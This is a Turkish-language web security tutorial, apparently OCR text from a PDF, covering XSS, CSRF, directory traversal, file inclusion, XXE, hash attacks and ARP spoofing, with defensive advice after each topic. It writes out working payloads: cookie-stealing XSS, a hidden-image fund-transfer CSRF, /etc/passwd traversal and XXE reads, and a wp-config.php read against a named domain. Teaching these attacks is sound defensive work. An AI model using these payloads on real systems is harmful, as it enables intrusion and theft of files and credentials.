yutabilir. Yemi yuan masum yazilhimci1 SCRIPT'i sildigi an hos geldin script. :-) Ve ¢atur cutur
actigin tag'in icini doldurmaya devam edebilirsin. Tabii bunlar uygulamayla daha net anlasilacak
seyler. Ancak simdilik bu kadarini yazabiliyorum. Yaptigim uygulamalar: ve raporlarini
toparladikca paylasacagim ve belgeye ekleyecegim. Eksik kalan yerlerin icin simdiden 6ziir dilerim
bunu okuyan insan. Olmadi sen de arastir, 6gren gel beraber yazalim, paylasalim. ;)


http://www.blabla.com/news.php?id

2-) Stored XSS

Adi tizerinde depolanmig XSS saldirisidir. Yani “Sen bize n'ap biliyo musun?” sorusuna
“Everything little little in the home” diye cevap vermektir. Giilebilmek i¢in izleyiniz:
http://www.youtube.com/watch?v=V-xdyCAS610 Hatta 2:50'den sonra izlemeye baslayiniz. Veya
hepsini de izleyebilirsiniz. :)

Reflected XSS gibi kodu kullanicidan alinan input alanina yaziyorsunuz. Ancak o hemen calisan bir
mekanizmanin i¢inde degildir. Daha sonradan cagrildiginda size giizel siiprizer yapacaktir. “XSS'i
nerede depolayacagiz?” “Saldir1 depolanir mi lan? “ diyebilirsiniz. Evet saldir1 depolanir
arkadasim. Sonugcta bu bir kod saldirisi. Alirsin koyarsin gedigine adam vakti geldiginde koda bir
tik eder diinyas1 bagina déner. Ornegin bunu kullanicidan alinan yorum / mesaj kisimlarinda top
oynar gibi kullanabilirsin. Mesela yorum kismina <script>alert(1);</script> yazdin diyelim.
Burada sen bunu yorum at dedin yolladin. Oraya kaydedildi. O yorumlari agan herkes, admin vs..
senin alert'ine maruz kalir. Tabii sadece alert ile yetinirsen. Ve yazilimci da boyle kiiciimen
Hacker'lara kars1 6nlem almamigsa tabii.

3-) DOM XSS

DOM = Document Object Model anlamina gelir. internet tarayicilan gezindigimiz veya islemlerin
yapildig1 web sayfalarini birer dokiiman olarak algilar. Web sayfalarinin {izerindeki butonlar,
resimler, metin alanlar vs.. yani sayfanin bilegenlerini de nesne olarak goriir. Toparlayacak olursak,
Document (Dokiiman) = Web Sayfasi, Web Sayfasinin Bilesenleri = Object (Nesne) olarak tarif
edebiliriz.

DOM bu sayfada bulunan nesnelere miidahale etmemizi saglar. Kii¢iimen sevimli Hacker ise bu
miidahaleyi manipiilasyon icin kullanir. Peki bunu nasil yapar? Manipiilasyon ya da miidahale

islemi javascript gibi script dillerini kullanarak olur.

DOM XSS cok tehlikeli bir saldir cesididir. Hedef web sitesinin index'i degistirilebilir. Sayfanin
kodlariyla oynanabilir, viriis, trojan vs... gibi zararli kodlar sayfanin icine gémiilebilir.

Ornek Senaryo:

www.x.com/index.php?keyword=KOPKOP#resim-1-2-3

Burada #'den sonra gelen kisim Location.hash kismidir. Internet tarayicilan location.hash'den yani
#'den sonra gelen kisim icin tekrar request iiretmezler. Yani tekrar iiretilecek bir requestle WAF gibi
bir seye takilma sikintis1 yoktur.

Location.hash kismina payload'imizi yani saldiri i¢in gereken javascript kodunu yazacagiz.
Payload'imiz1 KOPKOP yazan kismin yerine de HTML komutlarini yazarak ¢agiracagiz. Bunun
icin ise su kullanilabilir:

getDocumentById(“x”).innerHTML Ayni zamanda Location.hash kullaaniminin bir avantaji
daha var. # sonrasi log'lara diismedigi icin iz de birakilmamig olunur.
Location.hash avantajlari ---> Yeni request yok yani WAF'a takilmak yok, Loglada iz birakmak yok.

Senaryoyu tanimda anlattigim mantikla inceleyecek olursak;
Document = index.php
Object = keyword


http://www.x.com/?keyword=KOPKOP#resim-1-2-3
http://www.x.com/?keyword=KOPKOP#resim-1-2-3
http://www.x.com/?keyword=KOPKOP#resim-1-2-3
http://www.youtube.com/watch?v=V-xdyCAS610

Diger 6rnekler:

http://www.some.site/page.html#default=<script>alert(document.cookie)</script>

http://www.some.site/somefile.pdf#.somename=javascript:attackers script_here

DOM XSS Saldirilarinda kullanilabilecek kodlar:

HTML Yazmak Igin:
document.write(...)
document.writeln(...)
document.body.innerHtml=...

Dogrudan DOM Degistirmek (Dahili DHTML olaylar) igin:
document.forms[0].action=... (ve cesitli koleksiyonlar)
document.attachEvent(...)
document.create...(...)
document.execCommand(...)
document.body. ... (DOM ana nesnesi tizerinden erisen)
window.attachEvent(...)

Belge URL Degisimi Igin:
document.location=... (yer, alan ve host atama)
document.location.hostname=...
document.location.replace(...)
document.location.assign(...)
document.URL-=...
window.navigate(...)
Pencere Acma Degistirme Icin:
document.open(...)
window.open(...)
window.location.href=... (yer, alan ve host atama)
Dogrudan Script Galistirma Igin:
eval(...)
window.execScript(...)
window.setInterval(...)
window.setTimeout(...)

XSS Saldirilarindan Korunma Yontemleri:

Korunma yollarini 3 baglamda inceleyecegiz:

1-)HTML Context
2-)Attribute Context
3-)Javascript Context

Bu sekilde 3 Context'te incelememizin sebebi XSS saldiris1 yaparken bu 3 igerik icinden ilerleyerek
kodlar1 yaziyor olmamiz. Ya HTML kodunu manipiile etmeye ¢alisiyoruz ya Attribute yani
degiskenin degeriyle oynayarak manipiile ediyoruz ya da javascript gomiip canini okuyoruz.


http://www.some.site/somefile.pdf#somename=javascript:attackers_script_here
http://www.some.site/page.html#default=%3Cscript%3Ealert(document.cookie)%3C/script%3E

Temel olarak bu 3 kisimda ayr1 ayr1 koruma 6nlemlerini sagladigimiz zaman XSS saldirilarindan
tam anlmaiyla koruma saglayabiliriz.
1-) HTML Context Korumast:

HTML kodlarinizin manipiile edilmesini istemiyorsaniz; kullanicidan alinan kisimlarda (Sadece
form elemanlarini, Search box'lar1 kasdetmiyorum. Yeri geldiginde URL'de bi input'tur.)

( <) isaretini urlencode yaparak alabilirsiniz.

2-) Attribute Context Korumasi:

Oncelikle burada énemli olan attribute yazarken programlama aligkanhiginiz olarak ( “) ¢ift tirnak
m1 yoksa (") tek tirnak m1 kullandiginmizdir. Genel programlama aligkanliklarin ele alacak olursak
attribute atamalarda ( ) ¢ift tirnak kullanmalisimz. Kendinizce kararli olmalisimiz. Yani buradan
gelecegimiz yer kullanicidan aldigimiz inputlarda ( “) cift tirnak kullaniyorsaniz eger ( ) cift
tirnaklar: urlencode yaparak almalisiniz. Tabii illa (') tek tirnak kullaniyorsaniz onu urlencode
edeceksiniz.

3-) Javascript Context Korumasi:

Kendimize yine bir ilke edinelim. Javascript'te degisken degeri tammlarken (') tek tirnak
kullanalim. Peki yine biricik tirnak isaretimizi urlencode ile mi alacagiz? Diyelim ki bir formdan
kullanicinin ismini aliyorsunuz. Ve adamin ismi O'neil. Yazik degil mi bu adama? Ismini
veritabanina O%27neil diye mi kaydedeceksiniz. Olmaz dyle sey. Tabii ki escape karakteri
kullanacaksiniz. (\) slash derdinize derman olacak. (') gordiigiiniiz yerdeki veriyi (\' ) olarak
kaydettiginizde kesinlikle sadece tirnak olarak algilayacak. Boylece slash ile hem masum O'neil
O'neil olarak kalacak hem de Hackercan'in payload'indan korunacaksiniz. Bir tasla iki kus.

Tiim bu korunma yontemlerinin yani sira Contextler arasi gecisler miimkiin. Yani bir kisi HTML
Context'inden Javascript Context'ine gecebilir.

Ornegin HTML ContexT'indeyken CTRL+u ile kaynak kodlariniza bakip orada gidisata gére
kapama tag'lerini koyup artik Javascript kodlar1 yazmaya baglayabilir. Tabii ki bunlar1 engellemek
icin iistte sdyledigimiz korunma yOntemlerine siki sikiya bagl kalmaliyiz.

Onemli Not!: XSS saldirisina maruz kalmamamk igin dosya upload'1 alirken dosyamn ismini

hashleyerek alin. Tekrar dosya sorgulandiginda da sorgunun hashini alip esit olan1 déndiiriirsiiniiz.
Boylece dosya ismine yazilabilecek payloadlardan korunmus olursunuz.

A4-Insecure Direct Object References

Hacker'in veya masum kullanicinin ulasmamasi gereken, kendisiyle alakali olmayan datalara da
ulagabilmesidir.

Ornek: Kullanic, kendi hesap detaylar disinda baskalarimin hesap detaylarina da query stringdeki
hesap numarasini degistirerek ulasabiliyor.

Insecure Direct Object References Saldirllarindan Korunma Yontemleri:

Veritabanindan sorgulanan objenin kullaniciya ait olup olmadiginin denetleyip aitse dondiiriip ait
degilse dondiirmeme mekanizmasi ile korunabilirsiniz.



A5-Security Misconfiguration

Disardan gelen kotii niyetli Hacker kullanicilar ve onlarin hesaplarim iyi bildiginde ortaya ¢ikan bir
durum. Yani Hacker gidecegi, yeri, dosya yapisini, neyin nerede oldugunu bildigi durumlarda
karsilasilir. Yani tahmini gibi goriinen degerleri verdiginde gercelesebilecek saldirilar diyebiliriz. Ya
da siz verdiginiz hatalarda kullandiginiz 6rnegin web sunucunuz Apache ise onun versiyonunu
yahut veritabani olarak 6rnegin mysql ise onun versiyonunu vererek béyle bir zafiyete kapilari
aralamis degil agmis oluyorsunuz. Yani siz diyorsunuz ki “Benim kullandigim web sunucu bu.
Versiyonu su. Veritabanim bu, versiyonu da su. Hadi git o versiyonun sikintisini bul bende
denersin.” Sanirim demek istedigim agikca anlasiliyor.

Atak vektorleri default hesaplar, kullanilmayan sayfalar, diizeltilmemis hatalar, korumasiz yani
dosya/dizin izinleri miisait olan dosya/dizinler, yetkisiz erisimler veya sistem bilgisi olabilir.

Security misconfiguration uygulamalarin her katmaninda ortaya ¢ikabilir. Uygulama katmani, Web
sunucusu, Uygulama sunucusu, Veritabani, Framework veya kendi kodlarimizda.

Security Misconfiguration Saldirilarindan Korunma Yoéntemleri:

Kimin nereye erisebilecegine iyi karar vermelisin. Kim ne kadarin1 gérebilir? Kim nereye erisebilir?
Bunlar aslinda ¢ok énemli sorular. Bunlar bana lisans donemimde 6grendigim “Rol Tabanl
Yetkilendirme”yi hatirlatiyor. Rol tabanh yetkilendirme soyle bir kavram: sistem yonetimi kismini,
database kismini, application kismini (Hatta calismanin veya igin detaylarina gére bu béliimleme
degisebilir.) ayr ayr diisiiniiyoruz. Ve erisecekleri yerleri sinirlandiriyoruz. Yani belli kullanici /
erisim gruplar1 var. Grup icindeki herkes aym yetkilere sahip oluyor. Diger bir grup baska bir gruba
miidahale edemiyor. Bunu projenizin programlama kismina dokmek size kalmis. Ancak genelde
dosya izinlerine dikkat etmek cok seyi kurtariyor. Ya da nereye ana dizin deyip oradan yukar1
cikartmadiginiz.

A6-Sensitive Data Exposure

Bu zafiyet biraz daha bilmeden oldu abi cinsinden. Yaptigim uygulamalardan birinde uygulamay1
yazan kisi yorum satir1 amach bir link birakmis. Linkin icerisinden admin paneline
ulagabiliyorsunuz. Evet tamam linki buldunuz ancak oraya ulasabilmeniz ayn1 zamanda Insecure
Direct Object Reference zafiyetinden kaynaklanmakta. Yani linki sadece adminin bilecegi
diisiinerek kontrollerin bir kismi atlanmig bulunmakta. Bu ylizden zafiyet rahatca somiiriilebilmekte.

Sensitive Data Exposure Saldirilarindan Korunma Yoéntemleri:
Paylagtigimiz kodlara, yorum satirlarina, gerekli sayfalarda gerekli kontrollerin yapildigina vs..

dikkat etmeliyiz. Aslinda burada bu zafiyetin bulundugu her uygulamaya gore bu ¢6ziim béliimii
esnetilip, oynanip ona uyarlanmali.



A7-Missing Function Level Access Control

Browser'dan gelen istegi yetkili olan m1 gonderiyor yoksa saldirgan m1 bunun kontroliiniin
yapilmadig1 durumlardir. Ornegin sadece admin'in ulasacagi yerleri sadece nasilsa admin biliyordur
deyip gelenin kim oldugu kontroliiniin yapilmadig1 durumlardir. Bilinmemesi gereken bir Url'in
ogrenildigi zamanlarda aciga cikar.

Ornek senaryo:

http://example.com/app/getapplnfo linkinde olan biri

http://example.com/app/admin getappInfo linkini yazdiginda hop diye adminin alanina diisiiyorsa
bu iste bir yanls, bir zafiyet var demektir.

Missing Function Level Access Control Saldirilarindan Korunma Yontemleri:
Yetkilendirme yonetiminizi incelemelisiniz. Enforcement mekanizmalarinizla default bicimde olan
erisim yetkilerinizin hepsini redddetmelisiniz. Ve her fonksiyona, sayfaya herkes icin ayr1 ayr1
erisim yetkisi tanimlamalisiniz. Yine daha 6ncelerde ele aldigimiz “Rol Tabanl Yetkilendirme”
konusuna sicramis oluyoruz. Eger erisim yetkilerinizi siki ve detayli ayarlarsaniz boyle
problemlerle karsilasmazsiniz.

A8-Cross-Site Request Forgery (CSRF)

Baska bir siteye masum kullanicinin haberi olmadan istek yapmasidir. (istek Sahteciligi)
Ornek Senaryo:
Hacker'in istek yapmanizi istedigi url:

http://example.com/app/transferFunds?amount=1500&destination Account=4673243243

Hacker'in size sundugu:

—n

<img src="http://example.com/app/transferFunds?
amount=1500&destinationA ccount=attackersAcct#" width="0" height="0" />

Siz burada eni boyu olmayan bir resim goriiyorsunuz. Aslinda géremiyorsunuz. Ciinkii en, boy sifir.
Ama burada bu kodlamanin oldugu sayfay: yiiklediginiz an sayfaya bilmeden istek gondermis
oluyorsunuz. istekteki url bir banka hesap transfer url'i. Tabii bu istegin dogru bicimde yamt
donebilmesi icin ayn1 zamanda browser'inizda ilgili bankaya olan hesabinizin agik olmasi
gerekmekte.

Cross-Site Request Forgery (CSRF) Saldirilarindan Korunma Yontemleri:

Her Session'a unique token degerleri atamalisiniz. Ve bunlar her tekrarda kontrol etmelisiniz. Ayni
zamanda bu token degerini url icinde degil HTTP request'in body boliimiinde géndermelisiniz.


http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#
http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
http://example.com/app/admin_getappInfo
http://example.com/app/getappInfo

A9-Using Components with Known Vulnerabilities

Framework veta 3th party yazilimlar kullanirken orataya cikabilecek zafiyetlerdendir. Ornegin web
sunucusu olarak Aapahe kullaniyorsunuz. Ve yeni bir siiriimii ¢ikt1. Ancak siz slirimii kontrol bile
etmediniz. Ve ylikseltmediniz. Halbu ki sizin kullandigimz siirtimde ciddi bir giivenlik zafiyeti
vardir. Apache'nin zafiyetini 6grenip sizi bulan minik ve tatli Hacker'imiz sizin zafiyetinizi kiit diye
exploit etmis olur.

Using Components with Known Vulnerabilities Saldirilarindan Korunma
Yontemleri:

Kullandiginiz yazilimlarin veya triinlerin iceriklerini ve versiyonlarinin kullaniliglarini ve tiim
bagimlilik listelerini tanimlamalisiniz. Yani A yazilimini kullaniyorsunuz, zafiyet yok ancak A'nin
cagirdigl B yazilmindan tongaya diismeyesiniz.

Kullandigimiz iceriklerle ilgili hazirladigimz listedekilerle ilgili giivenlik forumlarin, listelerini
stirekli takip etmelisiniz. Herhangi bir zafiyet tespitinde hizlica harekete ge¢cmelisiniz.

Icerik kullammi yénetiminde Content Security Policy kullanmalisiniz. Aym zamanda giivenlik
testlerini gecebilen yazilimlari kullanmalisiniz.

Ayni zamanda giivenlik zafiyeti olusturmamasi agisindan disardan aldiginiz veya bir sekilde
kullandigimiz iceriklerde kullanilmayan fonksiyonlar disable etmelisiniz.

A10-Unvalidated Redirects and Forwards

Kendileri yonlendirme zafiyeti olarak bilinirler. Giivenilirligi yiiksek bir yerin continue gibi
yonlendirme kismina x.com yazip istenilen yere yonlendirilmesidir.

Ornek Senaryo:

http://www.example.com/redirect.jsp?url=evil.com

url'inde evil.com yerine admin.jsp yazalim.

http://www.example.com/boring.jsp?fwd=admin.jsp

Onceki zafiyetlerde belirttigimiz gibi biz bu sayfay: istedigimizde eger bdyle bir sayfa varsa ki
biiyiik ihtimalle vardir; kontrolleri yapmadan direkt yonlendirdiginde bu zafiyet agiga ¢cikmis
oluyor. Bir nevi diger zafiyetlerle sentezleniyor. Bu yiizden tek basina direkt tehlikeli degildir.

Unvalidated Redirects and Forwards Saldirilarindan Korunma Yontemleri:

Basitce yonlendirmeleri kullanmayabilirsiniz. Ancak yine de kullanmaniz gerekiyorsa bu
yonlendirmeleri kullanicinin parametre girebilecegi bir yerden yapmamalisiniz.

OWASP Top 10 burada bitti. Ancak listede olmayan tehlikeli bir kag zafiyete daha bakacagiz.


http://www.example.com/boring.jsp?fwd=admin.jsp
http://www.example.com/redirect.jsp?url=evil.com

Directory Traversal

Oldukca kor bir aciktir, ama bu agig1 kullanarak sitedeki baska klasorler iizerinde de gezilebilir.
(Eger bir dosya isteniyor da bu talepte gonderiliyorsa).

Ornek 1:

./ ile bulundugumuz dizini kast ediyoruz.
../ ile bir tist dizine gegisi kast ediyoruz.

http://192.168.44.130/dirtrav/examplel.php?file=../../../etc/passwd ~ EN UST DIiZINDEN
http://192.168.44.130/dirtrav/examplel.php?file=../../../../../../../etc/passwd FAZLASINA
CIKAMIYOR ZATEN EN UST DIiZINDE O YUZDEN ../ DAHA FAZLA EKLEMEN HATA
VERMEZ.

http://192.168.44.130/dirtrav/examplel.php?file=../../../../../etc/shells

http://192.168.44.130/dirtrav/examplel.php?file=../../../../../etc/profile

http://192.168.44.130/dirtrav/examplel.php?file=../../../../../proc/cpuinfo

http://192.168.44.130/dirtrav/examplel.php?file=../../../../../proc/devices

http://192.168.44.130/dirtrav/examplel.php?file=../../../../../proc/dma

http://192.168.44.130/dirtrav/examplel.php?file=../../../../../proc/filesystems

http://192.168.44.130/dirtrav/examplel.php?file=../../../../../proc/interrupts

/etc/passwd HERKES OKUYABILIR..

Ornek 2:

http://192.168.44.130/dirtrav/example2.php?file=/var/www/files/../../../etc/passwd

/..1..]../letc/passwd sonradan eklenen kisimdir!

Ornek 3:

http://192.168.44.130/dirtrav/example3.php?file=../../../../etc/passwd %00

Bu sayede dizin atlama saglanmis olup ayni zamanda %00 ile de daha sonra gelen kodlar islevsiz
hale getirilmistir. Yani NULL Bayt.

Directory Traversal Saldirilarindan Korunma Yontemleri:
Bu saldir tipinden yine Rol Tabanli Yetkilendirme ile kurtulacaksiniz. Yani her ne kadar kiiciimen

Hacker dosya yolu payload'iyla gelse bile senin buraya erisim yetkin yok diyeceksiniz. Gerekli
kontrolleri yapacaksiniz.


http://192.168.44.130/dirtrav/example3.php?file=../../../../etc/passwd%00
http://192.168.44.130/dirtrav/example2.php?file=/var/www/files/../../../etc/passwd
http://192.168.44.130/dirtrav/example1.php?file=../../../../../proc/interrupts
http://192.168.44.130/dirtrav/example1.php?file=../../../../../proc/filesystems
http://192.168.44.130/dirtrav/example1.php?file=../../../../../proc/dma
http://192.168.44.130/dirtrav/example1.php?file=../../../../../proc/devices
http://192.168.44.130/dirtrav/example1.php?file=../../../../../proc/cpuinfo
http://192.168.44.130/dirtrav/example1.php?file=../../../../../etc/profile
http://192.168.44.130/dirtrav/example1.php?file=../../../../../etc/shells
http://192.168.44.130/dirtrav/example1.php?file=../../../../../../../etc/passwd
http://192.168.44.130/dirtrav/example1.php?file=../../../etc/passwd

File Include

Bagka bir kaynaktan bir dosyanin include edilmesiyle olusan zafiyettir. Dosya icerigi her seyi
barindirabilecegi icin tehlikelidir.

File Include ikiye ayrilir:
1-) Remoote File Include
Uzaktaki bir kaynaktan dosyanin include edilerek alinmasiyla ortaya ¢ikan zafiyettir.

Ornek:

http://www.infosys.com/wp-admin/admin-ajax.php?action=revslider show image&img=../wp-

config.php

Burada uzaktan wp-config.php cagirilmistir.

2-) Local File Include

Yereldeki bir kaynagin include edilmesidir. Yerelden alinan kaynaga gore tehlike artabilir.
Ornek:

http://192.168.44.130/fileincl/examplel.php?page=../../../../etc/passwd

Burada yerelden /etc/passwd cagirilmistir. Evet bunu sorgusuz sualsiz ekrana basiyorsaniz eger evet
durum cok fena. Hem de cok.

File Include Saldirilarindan Korunma Yontemleri:

Alnan kisimda dosya uzantisini yani (. ) noktadan sonrasini parse ederek inceleyecegiz. Yani asil
anlamda sadece ne alacagimizi iyi belirlemeliyiz. Mesela biz txt dosyas1 mu1 istiyoruz? Evet. O halde
sadece txt olanlar1 alacaksin. Gelen bagka her seyi reddedeceksin. Yani biraz sonra anlatiminm
yapacagim White Listing yontemini uygulayacaksin.


http://www.infosys.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
http://www.infosys.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

Hash Attacks

MDS?5 vb... ile hashlenmis verinin asagidaki yontemler kullanilarak olas1 karsiligin bulunmasidir.

Rainbow table: Bir map structure'dan hash'lenmis halinin bulunup o degerden ¢6ziilmiis halin elde
edilmesidir.

Brute force ile hash kirmak: Hashcat gibi bir yazilim kullanarak sirayla tiim sayilarin harflerin vs.
kombinasyonlarinin verilen hashlerde denenmesi. Kisa zamanda yapilabilmesi icin ekran kartlarinin
processorleri (GPU) genellikle tercih edilmektedir.

Dictionary attack: Belirli bir dictionaryden kombinasyon olusturup bunlarin sirayla brute force ile
denenmesi.

Intelligence attack: Kullanici sifrelerinin genel karakteristik 6zelliklerinin toplanip, daha
sonrasinda sadece o karakteristige sahip stringlerin denenerek hash'in kirilmaya ¢alisilmasidir.

Hash Attacks Korunma Yontemleri:

Korunma yontemi olarak, tuzlama metodu kullanilmaktadir. Yani hashlemede kullanilacak unique
bir deger ile hashleme yapilmaktadir. Bu deger hashleme algoritmasina gore karisik yerlere
yerlestiginden hash'in ¢6ziilmesi daha da zorlasiyor. Zaten tuzlamada eklenen unique degerin
uzunlugu arttikca kirmak katlanarak zorlasmaktadir.

XML External Entity

Digaridan alinan Entity iceriklerinin yonetilebilmesiyle ortaya ¢ikan zafiyettir.
Ornek 1:

http://192.168.44.130/xml/example1.php?xml=<!DOCTYPE test [<!ELEMENT icerik ANY><!
ENTITY dosya SYSTEM “file:///etc/passwd” >]><icerik>%?26dosya;</icerik>

Ornek 2:

http://10.47.78.165/xml/example2.php?name=hacker’ or 1=1]/parent::*/child::node()%00



ARP Attacks

ARP Nedir?

ARP(Address Resolution Protocol) Adres ¢oziimleme protokolii anlamina gelmektedir.

Yerel aglarda(LAN=Local Area Network) iletisimde kullanilan en yaygin arayiiz Ethernet
arayliziidiir. Ethernet arayiiziine sahip ag kartlariyla yerel aglara kolayca baglanabilirsiniz.
Araytizler birbirlerine paket gondermek icin kendilerine iiretimde verilen 48 bit fiziksel adresleri
(mac adresi) kullanirlar. TCP/IP protokolii ise veri gonderip almak igin 32 bit lik IP adreslerini
kullanir. Yerel agda bir cihazla karsilikli haberlesmek igin veri alis-verisi yapilacak cihazin fiziksel
adresi bilinmelidir. Bu islem icin kullanilan protokole, yani IP adresi bilinen bir makinanin fiziksel
adresinin 6grenilmesini sagalayan protokole Adres Coziimleme Protokolii (Address Resolution
Protocol) denir.

Yani bu kadar uzun uzun anlattim ama tek ciimleyle ARP, bir makinanin IP adresinden MAC
adresini 6grenir.

Gelelim fasulyenin faydalarina. Peki bu ARP ile MAC adreslerini nasil 6greniyoruz? IP(Internet
Protokol) sagolsun fiziksel adresi 6grenebilmek icin yerel agdaki tiim bilgisayarlara 6zel bir
sorgulama paketi yollar. Bu pakete ARP Request Packet (ARP Istek Paketi) diyoruz. ARP Request
Packet icinde alic1 makinanin IP adresi olur ve bunun karsiliginda fiziksel adresini gondermesi
istenir. Yerel ag tizerindeki ARP’ lan etkin olan tiim diigiimler(makinalar) bu paketleri goriirler ve
kendilerini ilgilendiren bir sey varsa istek paketini gonderen makinaya fiziksel adreslerini
gonderirler.

Bazi diigtimler MAC 6grenme siirelerini kisaltmak icin, diger makinalarin ARP sorgulamalarini
stirekli dinleyerek kendi ARP tablolarim giincel tutabilirler. Boylece kendileri daha 6nce herhangi
bir iletisimde bulunmasa bile, diger sistemlerin IP-MAC adres doniigiim bilgisine sahip olurlar.

ARP Spoofing

ARP Spoofing yani ARP yaniltmasi anlamina gelmektedir. Hacker aga sectigi masum makinanin
[P'sini kendi IP'si gibi gostermek icin buna bagvurur. Hain Hacker sahte bir ARP request hazirlar.
Iginde gonderenin IP'sine masum makinamn IP'sini, gonderenin MAC adresine ise kendi yani
Hacker'in MAC adresini yazar. (Masum bilgisayarin adi Zinnur olsun.) Yani bir nevi yerel ag i¢inde
tim makinelere “Ben Zinnur'um!” diye bagirmaktadir. Tabi bilingleri yerinde olmayan
makinalarimiz sahte ARP requestleri aldiklarinda bir TTL(Time to Live) siiresi kadar siirecek halde
ARP tablolarim tik diye giincellerler. Artik ARP tablolarinda IP kisminda masum makine Zinnur'un
IP'si yazsa da karsisinda MAC kisminda hain Hacker'in adresi yazmaktadir. Yani herkes Zinnur'a bir
paket gonderecegi zaman aldanip Hacker'a génderir. Tabii burada soyle bir ayrint1 s6z konusu: yerel
agdaki diger bilgisayarlarin bu olaya uyanmamasi icin bu TTL siiresi dolmadan ya da doldugu anda
hain Hacker'in her bilgisayarin ARP tablolarim yine ayni sekilde sahte ARP paketiyle giincellemesi
gerekmektedir. TTL siiresi genelde 30 sn falan olur. Hain Hacker herkesi kandirmak icin siirekli
enter'a basmak zorunda degil tabii ki. Onun isini de kolaylastirmislar. Otomatik paket yollayici
programlar veya kendi yazabilecegi cok basit scriptler sayesinde kendisi Starbucks'da kahve icerken
hala ARP Spoofing devam edebilir. Bunu asagidaki resimle basit bi sekilde gorsellestirdim. Umarim
isinize yarar.



ARP Spoofing yapilabilecek tool'lar: Ettercap, Arpspoof, Subterfuge vs...
ARP Spoofing tespiti yapilabilecek tool'lar: Arpwatch, ArpON, Arp_Antidote vs...

ARP Poisoning

ARP Poisoning Tiirkce mealinde ARP zehirlenmesi anlamina gelir. ARP tablolarinda yukarida
anlatildig1 gibi spoofing ile paketlerin zehirlenmesine (degistirilmesine) ARP zehirlenmesi denir.
ARP tablolarina yapilacak miidahele ile ag trafigi artirilarak, ag isteklere cevap veremez hale
getirilebilir. ARP zehirlenmelerinde, saldirgan ag trafigini degistirebilir ya da ag trafigini tamamen
durdurabilir. iste tam da bu tiir olaylara ARP zehirlenmesi denilmektedir.

ARP Poisoning ile Yapilabilecekler:
Man In The Middle Attacks:

Hain Hacker ARP Cache Poisoning sayesinde siz ve network arasindaki trafigi kolaylikla exploit
edebilir (somiirebilir). Hacke malicious (Degistirilmis) ARP paketleri yollayarak router'iniza
(yonlendirici) kendisini siz gibi tamtip size de kendisini router gibi tanitarak router ve sizin
aranizdaki trafigi tamamen kendi iizerinden gegirebilir.

MAC Flooding:

MAC Flooding temel olarak network switch'lerini hedefleyen bir ARP Cache Poisoning saldirisidir.
Burada 6nemli nokta switch'ler asir1 ytiklenildiginde HUB moduna diiserler (Switch'de alinan paket
sadece ilgili alicinin ilgili portuna génderilirken Hub'larda alinan paket ilgili ilgisiz herkese
gonderilir. Temel mantik ilgili olan goriince paketini alir. Bu yiizden Hub kullanan network'leri sniff
etmek asir1 derecede kolaydir. Ve giivenlik seviyeleri diisiiktiir. Ger¢i Hub kullanan yer var mi
hala?). Switch Hub modundayken network iizerinde broadcast yayin yapacagi icin ARP paketleri
kolaylikla sniff edilebilir ve degistirilebilir.



Denial Of Service:

Hacker kullanicinin gateway adresi kendisiymis gibi yayin yaparak kullanicinin tiim trafiginin
lizerinden gecmesini saglar. Boylece kullanicinin hangi sitelere girdiginden tutunda, génderdigi
aldig1 maillere, sifrelere vs. kadar bilgileri alabilir. Ayrica biiyiik bir manipiilasyon béliimii belirir.
Bunlar kullanarak Hacker network'{iniizii alasag edebilir, kesebilir.

ARP Attacks Korunma Yontemleri

1-) Kiiciik network'lerde statik ARP tablolar1 kullanilabilir. Béylece paket manipiilasyonlar1
engellenmis olur.

2-) Daha biiyiik network'lerde switch'lerinize “Port Security” saglayan entegrasyonlar
yapabilirsiniz. Tabii Layer 3 Switch kullanimi1 da buna dahil edilebilir.

3-) Tiim network iizerinde uygulanabilecek bir yontem ise ARPwatch gibi ARP iletisimini izleyip
alisik olunmayan bir paket aligverisi gerceklestiginde haber veren bir tool kullanmak.

Saldirilarimiz, korunmalarimiz burada bitti. Bir ka¢c 6nemli mesele hakkinda konugalim.

WAF NEDIR?

Kendisinin ac¢ilimi1 Web Application Firewall'dur. Web uygulamalar i¢gin giivenlik duvaridir.

Deep Packet Inspection yani derin paket incelemeleri yapar. Paketleri acip icine bakar ve icerigine
veya davranigina gore bloklar. Software WAF ve Hardware WAF olarak iki tiirii de bulunmaktadir.
Bunlara 6rnek verecek olursak: Software WAF: Mod Security, Hardware WAF: Strix, Barracuda.
WAF'lar Inline veya Reverse Proxy olarak calisirlar. Hem digaridan igeri (inbound) hem de iceriden
disari(outbound) ataklar1 yakalar. WAF'lar temel mantik olarak anlamadiklar1 girdiyi her ihtimale
kars1 gecirmekteler. WAF Woof tool'unu kullanarak kargi tarafin WAF'1nin verdigi cevaplara gore
hangi WAF (iirlinii oldugunu anlayabiliriz. WAF woof'un veritabaninda WAF'lar verdikleri
cevaplarla beraber kayitlilar.

GUVENLI KODLAMA
Input Validation (Girdi Dogrulama)

Kullanicidan alinan girdiler MVC (Model — View — Controller) tasarimda Controller tarafinda
kontrol edilirler. Ornegin; Email(@ isaretinin olmasi, RFC'de tammli email gegerlilik kurallarr),
IBAN(Basinda iilke isminin kisaltmasinin olmasi gibi) gecerlilik kontrolleri

Input Validation 2 yolla saglanabilir:

1-) Blacklisting
2-) Whitelisting

Bu yollardan tasarimda kullanilmasi gereken kesinlikle Whitelisting yontemidir.
Blacklisting, kullanicidan alinan input béliimiinde beklenmeyen degerleri (olmamasi gereken veya

saldiriya sebep olabilecek degerleri) tek tek belirle ve input olarak geldiklerinde engelle mantigiyla
calisir. Bunu programlama da regex vs... ile saglayabiliriz.



Whitelisting, kullanicidan alinan input béliimiinde sadece alinmas: gereken degerin belirlenip
onun disinda gelen her seyi yok sayma mantigiyla calisir.

Genel mantiklarini inceledigimizde Whitelisting yontemini hem programlamak kolay ve maliyetsiz
hem de herhangi bir agiklik birakma ihtimalin yok. Tabii diizgiin bir sekilde kullanildiginda. Ancak
Blacklisting yonteminin kullamiminda gelmemesi gerekenler nereye, ne zamana kadar yazabilirsiniz
ki? Ayni zamanda siz yazdiniz diyelim. Siz o yazilhmi yazdiktan sonra desteklenen ve son derece
islevsel baska fonksiyonlar ¢ikmis olsun. Gergekten bunu stirekli engelleyebilir misiniz? Tabii ki
